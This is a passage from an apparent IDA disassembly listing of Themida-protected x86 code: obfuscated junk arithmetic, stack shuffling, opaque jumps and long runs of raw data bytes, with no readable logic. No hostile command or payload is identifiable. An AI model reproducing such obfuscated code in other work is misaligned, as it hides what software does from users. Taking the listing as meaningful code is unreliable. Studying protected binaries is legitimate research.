		dd 53000006h, 0C381E389h, 4, 4C381h, 53E90000h,	0ACFFFFA3h
		dd 9B8DE952h, 0E389FFFFh, 4C381h, 0EB810000h, 4, 8B241C87h
		dd 14892424h, 148B5424h, 4C48324h, 4C281h, 0C2810000h
		dd 4, 0FFBB2EE9h, 96C281FFh, 815CF242h,	9F78A1EAh, 0BCC28171h
		dd 5D4BE83Eh, 3E5F68h, 1DAEE900h, 0EB810000h, 1E175464h
		dd 0C381EB29h, 1E175464h, 43ED815Dh, 1713300h, 43C581DDh
		dd 5B713300h, 1CB6CD81h, 0AEE943BFh, 1FFFF4Eh, 0F72EE9D6h
		dd 8959FFFFh, 826858C3h, 0E9000018h, 0FFFF6D48h, 8B240433h
		dd 65682424h, 0E9000023h, 0FFFF0A73h, 243C8B59h, 0FF5C22E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5633ED:				; CODE XREF: Themida_:005558AAj
		pop	eax
		push	ebp
		sub	dword ptr [esp], 55340451h
		jmp	loc_55EB98
; ---------------------------------------------------------------------------
		db 57h
		dd 4DBCE954h, 0E688FFFFh, 8124048Bh, 4C4h, 0C20400h, 0E9C22CF0h
		dd 0FFFF84BAh, 7CC3BD55h, 0E8291E40h, 174AE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563426:				; CODE XREF: Themida_:00551ACBj
		add	ebx, 4DE37C48h
		push	ebp
		jmp	loc_55F6A5
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2474FF24h, 2434FF04h, 216E95Fh, 2C81FFFFh, 0DE573224h
		dd 32055808h, 0FF08DE57h, 50592434h, 70DC68h, 24248900h
		dd 4240483h, 0FF26C1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563465:				; CODE XREF: Themida_:0055968Aj
		mov	ebx, 0EF951ED5h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A27D
; ---------------------------------------------------------------------------

loc_56347A:				; CODE XREF: Themida_:00564ACAj
		mov	ecx, 277F417Bh
		sub	ecx, esi
		pop	esi
		and	edi, ecx
		pop	ecx
		jmp	loc_553E00
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 6E9C15Bh, 55565041h,	175532BDh, 4AC58173h, 898D6D4Bh
		dd 10E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5634A6:				; CODE XREF: Themida_:005541ECj
		sub	ecx, esi
		pop	esi
		jmp	loc_560065
; ---------------------------------------------------------------------------
aHxo		db ']hxO',0
		align 4
		dd 0B8240489h, 19025CB0h, 0FEED5AE9h, 0C83158FFh, 5671E959h
		dd 1E68FFFFh, 89000040h, 0E954243Ch, 0FFFF1099h, 0E92434FFh
		dd 0FFFFC51Ch, 30CBEA81h, 4EE944A6h, 5FFFFCEh, 150A1E4Fh
		dd 0FF4277E9h, 2323BDFFh, 8145384Fh, 2078CCC5h,	5BB8504Ah
		dd 0E915D85Fh, 397h, 0E7E92EB1h, 28FFFF8Bh, 4802414h, 0B3E98B24h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56351F:				; CODE XREF: Themida_:00560334j
		neg	ebp
		sub	ebp, 3DD72A68h
		shr	ebp, 8
		shl	ebp, 3
		inc	ebp
		xor	ebp, 4A1DCB5h
		mov	eax, ebp
		pop	ebp
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	eax, 1BF4109Ch
		pop	edx
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 64A53112h
		not	edx
		dec	edx
		add	edx, 64A53118h
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 6EB07437h
		jmp	loc_560EE7
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 0FF5745E9h, 4EF81FFh, 0E9000000h, 0FFFF4775h, 5C243487h
		dd 0E91C5721h, 0FFFFE3A6h
; ---------------------------------------------------------------------------

loc_563598:				; CODE XREF: Themida_:0055AAA4j
		mov	ebx, 15A61FCBh
		not	ebx
		add	ebx, 1EE37AD0h
		sub	ebx, 1
		jmp	loc_557D7E
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 50h
		dd 0C04E0C0h, 2C85346Eh, 30C13495h, 0CB2858C1h,	0FF9526E9h
		dd 89C289FFh, 48B5AD3h,	4C48324h, 6C4CC381h, 0BD5520A9h
		dd 41BE560Eh, 0EDC1DDF7h, 1ED8102h, 81000000h, 711D65E5h
		dd 0A57DE919h, 148BFFFFh, 4C48324h, 0FF25EEE9h,	17BB53FFh
		dd 81F0E033h, 0C92F8FC5h, 9A48E921h, 0F929FFFFh, 53D9015Fh
		dd 0C96D67BBh, 5BD90106h, 0E389535Bh, 0FEF511E9h, 240487FFh
		dd 8BF3215Ch, 0C4832434h, 0C1E95104h, 0B3FFFFBCh, 0E95266EAh
		dd 0FFFFF6BDh, 2414875Dh, 243C895Ch, 0C7815F54h, 4, 4EC8150h
		dd 89000000h, 0F9E9243Ch, 0F6FFFFA7h, 6F42E9DEh, 0C89FFFFh
		dd 46824h, 0C8B0000h, 4C48124h,	81000000h, 3D7FF2C6h, 0E9CE0123h
		dd 0FFFFDF3Bh, 8ED8158h, 5201B33Ah, 6C2B54BAh, 0EFE94243h
		dd 6600001Eh, 56241C89h, 0DDE95E54h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5636A3:				; CODE XREF: Themida_:005565ECj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_56540C
; ---------------------------------------------------------------------------
		dw 47BBh
		dd 816A005Ch, 0AE6E3BC3h, 0A1E9436Bh
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5636BF:				; CODE XREF: Themida_:00557ECEj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		jmp	loc_5652C9
; ---------------------------------------------------------------------------
		dd 8CE95251h, 0E9FFFF66h, 0FFFECD40h, 0E9242C89h, 0FFFF1797h
; ---------------------------------------------------------------------------

loc_5636E8:				; CODE XREF: Themida_:0055062Cj
		push	edx
		jmp	loc_55D1E7
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 4FC1055Fh, 102D6AF9h, 2934C139h, 391005E8h, 0E95134C1h
		dd 0FFFF416Fh, 1806E981h, 0E981626Ah, 2E822F44h, 159CA29h
		dd 48BAE9F2h, 0C481FFFFh, 4, 5759C801h,	970E1BFh, 8BF8296Dh
		dd 0C481243Ch, 4, 5352D829h, 6B2E09BBh,	0B951430Ch, 209D2780h
		dd 4D7EE981h, 0E9813769h, 7FBE55C5h, 4439C981h,	0E6E9484Ch
		dd 8900001Ah, 0CDBB241Ch, 93CDF40h, 0C2815BDAh,	0C100BD07h
		dd 535AD701h, 0D26603BBh, 81DBF70Dh, 2D7F2CCBh,	5EBC14Ch
		dd 6FFBF381h, 0A0E907F1h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56378F:				; CODE XREF: Themida_:00564575j
		push	ecx
		push	eax
		mov	eax, 336F6069h
		dec	eax
		jmp	loc_551838
; ---------------------------------------------------------------------------
		dd 9544D1BEh, 0D262E969h, 248BFFFEh, 4BA5224h, 1000000h
		dd 8BE95AD1h, 5FFFEE0h,	562B2A64h, 2291BB53h, 8C050D08h
		dd 2956B56Ah, 6A8C2DD8h, 1C8B56B5h, 4C48124h, 29000000h
		dd 4EC83D0h, 0BD242C89h, 4344275Fh, 0E85FE950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5637EA:				; CODE XREF: Themida_:00565A4Bj
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5569FE
; ---------------------------------------------------------------------------
		dw 1268h
		dd 54000027h, 0E924048Fh, 0FFFF2417h, 4C50F681h, 6AE96813h
		dd 81FFFF0Fh, 622246E1h, 6F7BE966h, 3C87FFFFh, 3C895C24h
		dd 477FBF24h, 0EF816CC5h, 71974909h, 0FFF368E9h, 240489FFh
		dd 31243C87h, 31F931CFh, 31D1F7CFh, 0E9F931CFh,	0FFFF495Ch
		dd 240C8B66h, 47B668h, 24148900h, 0FEE54FE9h, 0C2815DFFh
		dd 1E2EF527h, 0E8AE9h, 0E94E5E00h, 0FFFEF443h
; ---------------------------------------------------------------------------

loc_563870:				; CODE XREF: Themida_:00556A1Aj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_554CFD
; ---------------------------------------------------------------------------
aXhmo		db '!ÂXhŹO',0
		dw 0E900h
		dd 1EB2h, 104C483h, 83EA81FAh, 5F0DDC16h, 31241433h, 21E92414h
		dd 9FFFF4Fh, 24048BC5h,	4C481h,	0ED810000h, 97FFDFFCh
		dd 0FF1A08E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5638B9:				; CODE XREF: Themida_:00558D8Cj
		pop	ebp
		jmp	loc_561B42
; ---------------------------------------------------------------------------
		db 53h
		dd 5272BE56h, 0F389165Bh, 45CB815Eh, 0E949CE2Fh, 130Dh
		dd 5C243487h, 89240C89h, 431368E1h, 34890000h, 7A73E924h
		dd 53B9FFFFh, 81639767h, 252903F1h, 8E9C144h, 0FFC868E9h
		dd 0A1C381FFh, 51C28B2Eh, 0E952D989h, 0FFFFB008h, 5624148Bh
		dd 0C681E689h, 4, 4B951h, 0CE010000h, 81240C8Bh, 4C4h
		dd 24348700h, 0C0B60F5Ch, 6887048Dh, 0EF8h, 83243489h
		dd 0CEE904ECh
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_563943:				; CODE XREF: Themida_:0056540Dj
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 6Fh
		dd 8135D554h, 426B91F6h, 0D3BD5525h, 8105A163h,	0E11A8EEDh
		dd 70CD8147h, 8137E07Ch, 0CA320CF5h, 4E5C147h, 18C2C581h
		dd 0EE31CCF3h, 9EC6815Dh, 0E9E7F6D2h, 0FFFF67FDh, 0E9240C89h
		dd 0FFFF46E3h, 5D2434FFh, 4C481h, 78680000h, 89000016h
		dd 2EE9241Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5639A7:				; CODE XREF: Themida_:00560365j
		sub	ebp, 2817398Ah
		pop	ebx
		jmp	loc_551940
; ---------------------------------------------------------------------------

loc_5639B3:				; CODE XREF: Themida_:005607CAj
		mov	ecx, 65C0092Bh
		xor	ecx, 43857F06h
		sub	ecx, 46C8362Eh
		xor	edx, ecx
		pop	ecx
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5522F7
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 71E7ADE9h, 0C8BC831h, 4C48324h, 24BD5551h, 89636275h
		dd 0BE565DE9h, 58353DB8h, 3C25E681h, 0D6F70624h, 0FF8413E9h
		dd 28CA81FFh, 81236075h, 0FFFF79EAh, 77C1057Fh,	0D0012643h
		dd 4377C12Dh, 24148B26h, 4C481h, 0BF570000h, 4,	81E28952h
		dd 4C2h, 2DA1E900h, 248BFFFFh, 0A4CEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563A4E:				; CODE XREF: Themida_:0055567Dj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	al, 0A9h
		sub	al, 31h
		mov	bl, al
		pop	eax
		sub	bl, 1
		push	edx
		mov	dl, 73h
		xor	dl, 0FBh
		jmp	loc_561E9F
; ---------------------------------------------------------------------------
		dw 2DADh
		dd 4DC53A61h, 0FFAD6BE9h, 241C89FFh, 3AB1B951h,	0E9C138D3h
		dd 57D9F705h, 0DF0D3EBFh, 6EFC112h, 0FFC2EDE9h,	243C89FFh
		dd 0C51D0DBFh, 0E950472Ch, 0FFFFC69Dh, 4C781h, 0C4E90000h
		dd 29FFFFE1h, 263AE9C8h, 0B966FFFFh, 66524A8Ah,	0E92FFABAh
		dd 0FFFFC45Bh, 582434FFh, 4C481h, 80E90000h, 81FFFF81h
		dd 0C4871C7h, 2C835769h, 3C8BFF24h, 4C48124h, 51000000h
		dd 0A0226BB9h, 20F18160h, 816E3B33h, 110687E1h,	90F18119h
		dd 0E9AC0922h, 0FFFF6793h, 241C8B66h, 81E78957h, 4C7h
		dd 2BE5600h, 0E9000000h, 0FFFF65DDh, 6B79B951h,	0CFE971D8h
		dd 0BD00000Fh, 24FD400Dh, 8D4AD605h, 2E6EE97Fh,	0C481FFFFh
		dd 4, 4EC8151h,	89000000h, 2B82404h, 89000000h,	1538E9C1h
		dd 3C330000h, 24248B24h, 9C2404D2h, 0FF2CC9E9h,	240C89FFh
		dd 0E9530FB5h, 0FFFFFAC3h, 4A2DD801h, 8B139746h, 0BBE9241Ch
		dd 87FFFFFFh, 5A5C2404h, 51CF52Dh, 5D8015Eh, 5E051CF5h
		dd 2BA525Bh, 0E9000000h, 0FFFF5958h
; ---------------------------------------------------------------------------

loc_563BA0:				; CODE XREF: Themida_:00556CEAj
		mov	ebx, [esp]
		jmp	loc_556554
; ---------------------------------------------------------------------------

loc_563BA8:				; CODE XREF: Themida_:00557A22j
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebp
		mov	ebp, 1
		push	eax
		mov	eax, 24h
		add	eax, edi
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		add	[ebx], ebp
		pop	ebx
		mov	eax, [esp]
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		push	4
		jmp	loc_5578CD
; ---------------------------------------------------------------------------

loc_563BF3:				; CODE XREF: Themida_:00552D3Dj
		mov	edx, 2ED0049Dh
		jmp	loc_553A2B
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 8
		dd 805AF120h, 0C8289DC1h, 0E9392C59h, 0FFFF5825h
; ---------------------------------------------------------------------------

loc_563C10:				; CODE XREF: Themida_:00555F3Cj
		sub	bl, al
		push	2A2Fh
		jmp	loc_554CE0
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6830000h, 24348704h, 5FE2E95Ch, 0EDE9FFFFh
		dd 0BAFFFEC7h, 129221C3h, 2414F752h, 0FFABA5E9h, 24248BFFh
		dd 0FF2434FFh, 81592434h, 4C4h,	2F6EE900h, 1C33FFFFh, 24248B24h
		dd 243CD366h, 0C7BAE99Ch, 0CBBEFFFEh, 0E9289F1Fh, 0FFFF0AE9h
		dd 43D468h, 24148900h, 4BAh, 4EC8300h, 0FF4869E9h, 241C89FFh
		dd 0FFA342E9h, 2C083FFh, 0FF61D6E9h, 219A68FFh,	34890000h
		dd 0D5A3E924h, 0E959FFFFh, 3F6h, 0E9241C89h, 0FFFFB300h
		dd 570AD1B8h, 51550571h, 0BE560BCBh, 6A0060C9h,	0E903E6C1h
		dd 0FFFF845Fh, 0B9B8504Fh, 1588458h, 685158C7h,	1ED82B4Dh
		dd 81240C8Bh, 4C4h, 8BCF2900h, 54E9240Ch, 89FFFF0Ch, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 4C4815Ch, 81000000h, 4C2h
		dd 24143300h, 33241431h, 0FF5C2414h, 48B2434h, 4C48124h
		dd 57000000h, 0FF8836E9h, 0B2E950FFh, 58FFFED5h, 350F681h
		dd 77096480h, 2434FF1Ch, 0F098E95Eh, 0C381FFFEh, 4, 0FFA85DE9h
		dd 5E5256FFh, 18C2E9h, 24248B00h, 0B8240489h, 7ED648C5h
		dd 5608E8C1h, 0FFFA37E9h, 57535EFFh, 1763D2BFh,	0EF814729h
		dd 6CD42180h, 5BFDEF81h, 0F78103ECh, 56F00F02h,	7624EF81h
		dd 0FB89E679h, 5BD8315Fh, 34FFC601h, 89515824h,	0EAA2E9E1h
		dd 0BDB2FFFEh, 0E902EC83h, 0FFFF94ACh, 290B68h,	24348900h
		dd 5E2414F7h, 0E6C1DEF7h, 0F0EAE903h, 34FFFFFFh, 24048B24h
		dd 5604C483h, 25DD68h, 1E30E900h, 215EFFFFh, 2434FFCEh
		dd 2028E959h, 0EB29FFFFh, 0F6A8E95Dh, 248BFFFFh, 1031E924h
		dd 3C8B0000h, 4C48124h,	81000000h, 446135E3h, 0E8B9513Ch
		dd 812F940Ah, 57061AE9h, 0F1814921h, 0D3549BD0h, 2959CB31h
		dd 0D0FFE9DAh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_563E16:				; CODE XREF: Themida_:00557C3Dj
		pop	ecx
		pop	esi
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_552978
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0C5F2E9C3h, 34FFFFFEh, 0C4815F24h, 4, 7FAB68h, 24148900h
		dd 0FFA58DE9h, 2474FFFFh, 16CAE904h, 0EC810000h, 4, 0BA241489h
		dd 24C51792h, 17F9BD55h, 0EDC1007Ah, 0E9EDD102h, 0FFFF7200h
		dd 0E93C7805h, 52E80100h, 0FEC5D2E9h, 2FBE56FFh, 29718917h
		dd 1D28E9F0h, 8B66FFFFh, 0BCE9241Ch, 0BDFFFF5Ah, 61EF7228h
		dd 0E70BC581h, 0EA29D058h, 4EEA815Dh, 0E9CFB8A5h, 0FFFF3BAFh
		dd 0E95BD829h, 0FFFF29E3h, 1CE2815Ah, 5015932Ah, 903D89B8h
		dd 8BC2297Ch, 0C4812404h, 4, 72C2814Ah,	16C7D35h, 92F9E9D7h
		dd 8159FFFFh, 8F7E29C3h, 7DE2E937h, 0D601FFFFh,	10E1055Ah
		dd 53E90192h, 5FFFF72h,	631536ECh, 0FF56A5E9h, 0E8C15AFFh
		dd 35D0F702h, 92B2853Ch, 0E958C201h, 0FFFF2867h
; ---------------------------------------------------------------------------

loc_563F0C:				; CODE XREF: Themida_:00563214j
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 6CF059D9h
		push	ebp
		pop	edi
		jmp	loc_5560CA
; ---------------------------------------------------------------------------
		dd 0D735E0D1h, 1E87D80h, 24048BC2h, 0FF3348E9h,	2474FFFFh
		dd 241C8B04h, 8F04C483h, 248B2404h, 241C8924h, 58545058h
		dd 405h, 70A26800h, 34890000h, 0B0FBE924h, 0EC81FFFFh
		dd 4, 0BF243C89h, 3843F3Bh, 3094E781h, 0F78173ABh, 9F1405Dh
		dd 5A5FF801h, 5E08950h,	4, 42Dh, 24048700h, 0D1B7E95Ch
		dd 0EB81FFFFh, 0AC648ED2h, 1C8BD801h, 9E27E924h, 0EE89FFFFh
		dd 83242C8Bh, 0EE8104C4h, 5E113244h, 14EAE9h
		db 0
; ---------------------------------------------------------------------------

loc_563FC1:				; CODE XREF: Themida_:0055CBABj
		add	esp, 4
		jmp	loc_551B9D
; ---------------------------------------------------------------------------
		dd 77F08AB9h, 7AD7057Dh, 0E95166DFh, 0FFFF2639h, 0D44E956h
		dd 0EE81FFFFh, 0E681E8Dh, 8107E6C1h, 5A856EEEh,	3EF305B9h
		dd 0F00145D2h, 0FEFFFAE9h, 0F8015BFFh, 8B2434FFh, 0C483243Ch
		dd 4C48104h, 83000000h,	1C8904ECh, 0C6BD5524h, 6858B92Fh
		dd 0B39A9945h, 5DEB295Bh, 4EC81h, 3C890000h, 123E924h
		dd 5452FFFFh, 4BD555Ah,	81000000h, 943DA8C2h, 7EA8156h
		dd 1196810h, 7C281EAh, 81196810h, 943DA8EAh, 0EA835D56h
		dd 24143304h, 0E9241431h, 0FFFFA06Dh
; ---------------------------------------------------------------------------

loc_564064:				; CODE XREF: Themida_:0055C062j
		add	edi, 647A53E3h
		jmp	loc_561EFE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 53512424h, 17E9D388h, 0BDFFFF2Fh, 947BC396h,	0D9E9E929h
		dd 0F7FFFF3Ah, 0CCF281DAh, 4A03CB50h, 0C2CAF281h, 0D0298BFDh
		dd 3818E95Ah, 0BB53FFFFh, 4, 875BD801h,	248B2404h, 2434FF24h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_555726
; ---------------------------------------------------------------------------

loc_5640C3:				; CODE XREF: Themida_:00553FF2j
		add	edi, 0EB9B0EE8h
		mov	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	eax, ebx
		jmp	loc_560807
; ---------------------------------------------------------------------------
		db 29h,	0D7h, 8Bh
		dd 4AE92414h, 83FFFF33h, 3C8704EFh, 24248B24h, 56240489h
		dd 0B3589BBEh, 1CF6815Ah, 0E92C9B4Bh, 0FFFFEF15h, 40CD815Bh
		dd 0E929BF0Ah, 0FFFF50E2h
; ---------------------------------------------------------------------------

loc_56410C:				; CODE XREF: Themida_:005505D6j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1D800B2Dh
		add	ebp, 38330185h
		inc	ebp
		jmp	loc_560E39
; ---------------------------------------------------------------------------
aHsr		db '^hsr',0
		dw 8900h
		dd 0BF57242Ch, 624B19D7h, 3694F781h, 0EF8136F6h, 329DBF34h
		dd 0BE9FD89h
		db 0CDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56414F:				; CODE XREF: Themida_:00564CD1j
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jmp	loc_561A1E
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0E2E904C4h, 8FFFFED8h, 815C2404h,	10042444h
		dd 0E972712Eh, 0FFFEE6B9h, 0FB2AE95Fh, 0E952FFFFh, 0FFFF0CC3h
; ---------------------------------------------------------------------------

loc_5641A4:				; CODE XREF: Themida_:00553BCBj
		xchg	esi, [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_5531DC
; ---------------------------------------------------------------------------
		dw 71BAh
		dd 0F7705513h, 0B3C9E9D2h, 55E9FFFFh, 81FFFEC2h, 394027CDh
		dd 26D5E90Eh, 0C481FFFFh, 4, 8CC18141h,	216CEF56h, 0EC8359CEh
		dd 243C8904h, 6D16BD55h, 0EF8972A7h, 16B9E95Dh,	0E8890000h
		dd 5D58C689h, 41CEB951h, 0C981290Ch, 20700F21h,	0FF933EE9h
		dd 0E92958FFh, 0C453E95Dh, 0E389FFFEh, 4C381h, 0ECE90000h
		dd 8BFFFFD9h, 0C4812434h, 4, 428CEB81h,	0EB8142A7h, 46353E12h
		dd 0C381C301h, 46353E12h, 8209E955h, 8F5FFFFFh,	248B2404h
		dd 8BE6E924h, 0D801FFFFh, 9F118C05h, 0E3895373h, 4C381h
		dd 0EB830000h, 24F7E904h, 0E959FFFFh, 0FFFF70B5h, 81E68956h
		dd 4C6h, 4C68100h, 87000000h, 665C2434h, 4BB551h, 685966EBh
		dd 277Dh, 0B0240489h, 0E9D8F664h, 0FFFF50E2h, 0E92434FFh
		dd 0FFFF4594h
; ---------------------------------------------------------------------------

loc_5642A8:				; CODE XREF: Themida_:00560645j
		push	edx
		mov	edx, 6ACD661Bh
		neg	edx
		sub	edx, 44675677h
		sub	edx, 58744261h
		and	edx, 23881B59h
		xor	edx, 3AC74F5Bh
		sub	eax, edx
		pop	edx
		jmp	loc_55F0E9
; ---------------------------------------------------------------------------
		dd 5C243487h, 0E9241C89h, 0FFFEE783h, 8956D801h, 4C681E6h
		dd 0E9000000h, 0FFFECFB6h, 4C6815Eh, 68000000h,	0A60h
		dd 51242C89h, 0FF263FE9h, 2434FFFFh, 0AA37E958h, 8B66FFFFh
		dd 0DE92424h, 89FFFEC1h, 4812424h, 424h, 0C3815B00h, 4
		dd 4C381h, 0A3E90000h, 53FFFF8Ah, 3A7743BBh, 0C1D3F73Fh
		dd 0F38102EBh, 4062D4h,	815BDE31h, 3C00E7CEh, 6036E97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56434E:				; CODE XREF: Themida_:0055E39Fj
		mov	ebp, [esp]
		add	esp, 4
		sub	dword ptr [esp], 75BA3676h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_550631
; ---------------------------------------------------------------------------

loc_564369:				; CODE XREF: Themida_:00551955j
		xor	dword ptr [esp], 27F253CCh
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 27F253CCh
		pop	ebp

loc_56437B:				; CODE XREF: Themida_:005550F8j
					; Themida_:00560D6Ej
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_55535C
; ---------------------------------------------------------------------------
		dd 2C815359h, 446D6624h, 0AD35E95Dh, 0C87FFFFh,	15E95C24h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5643A3:				; CODE XREF: Themida_:005600D3j
		push	611306F6h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_552509
; ---------------------------------------------------------------------------
		db 68h
		dd 1000h, 0E92434FFh, 0FFFF6CB3h, 0E78FCBDh, 51E5D17Eh
		dd 0FF73F0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5643D1:				; CODE XREF: Themida_:0055F490j
		add	bl, 0E0h
		pop	edx
		sub	bl, ch
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0Fh
		sub	bl, 9Fh
		add	bl, cl
		push	dx
		jmp	loc_55A6E8
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 8B58E907h, 8159FFFFh, 0A7B213EAh, 8E2C166h, 65DE68h
		dd 243C8900h, 5F0A0068h, 0FA315F3Dh, 0FFC5DBE9h, 0E9C6FEFFh
		dd 0FFFEF38Ch, 0C0B0505Ah, 9FE9990Ch, 0BEFFFECFh, 1D3D5EBFh
		dd 21E9F331h, 55FFFED0h, 4BDh, 58F56800h, 3C890000h, 1C33BF24h
		dd 51531BE0h, 0E36372B9h, 707BBB1Ch, 0CB293A31h, 0FF8C9DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564459:				; CODE XREF: Themida_:00561A27j
		push	dword ptr [esp]
		jmp	loc_560AD9
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 617C6853h, 435B476Ch, 0FEC96EE9h, 0B7868FFh,	1C890000h
		dd 16DDBB24h, 20050430h, 290AC11Eh, 1E202DD8h, 2D5B0AC1h
		dd 16204B27h, 0B60F665Dh, 82686600h, 2499E973h,	3B6FFFFh
		dd 28F2C480h, 0F2EC80F4h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_561D07
; ---------------------------------------------------------------------------
		dw 0E6B9h
		dd 516B444Ch, 592414F7h, 1A9768h, 240C8900h, 0F7240487h
		dd 240487D0h, 0FF990FE9h, 0FED2F6FFh, 8FEA80C2h, 0FFA167E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5644ED:				; CODE XREF: Themida_:0055752Aj
		sub	ebx, 7A659F2h
		jmp	loc_5594E7
; ---------------------------------------------------------------------------
		dd 35B15166h, 0F5E9CE30h, 1FFFFBFh, 0EB2959CBh,	0A3EEB81h
		dd 6AE939D3h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564513:				; CODE XREF: Themida_:0055A7C6j
		mov	eax, [esp]
		add	esp, 4
		mov	ah, bl
		jmp	loc_55B753
; ---------------------------------------------------------------------------
aZzS		db 'Z‡,$é',0
		dw 0FEF7h
		dd 2434FFFFh, 81242C8Bh, 4C4h, 354CE900h, 0E95BFFFFh, 0FFFEC234h
		dd 4C781h, 0C7810000h, 4, 31243C33h, 3C33243Ch,	61E95C24h
		dd 8F000008h, 0E95C2404h, 0FFFFF539h
; ---------------------------------------------------------------------------

loc_564564:				; CODE XREF: Themida_:00565C4Ej
		sub	ebx, 7FBE7BD3h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56378F
; ---------------------------------------------------------------------------

loc_56457A:				; CODE XREF: Themida_:00561AE9j
		add	esp, 4
		push	eax
		mov	eax, 56D21227h
		and	ebp, eax
		pop	eax
		push	eax
		push	esi
		mov	esi, 7B416F82h
		jmp	loc_55E268
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 81243489h, 4ECh, 7C6DE900h, 0C801FFFFh, 83240C8Bh, 0C16804C4h
		dd 89000010h, 4BA2414h,	57000000h, 0A67C62BFh, 25F78164h
		dd 0E95B5660h, 0FFFF5A0Dh, 31FFF901h, 582434FFh, 8904EC83h
		dd 5D54242Ch, 4C581h, 8EE90000h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5645E7:				; CODE XREF: Themida_:00550B27j
		add	esp, 4
		add	ebx, 45E63043h
		add	ebx, esi
		sub	ebx, 45E63043h
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [ebx]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55D411
; ---------------------------------------------------------------------------
		db 81h
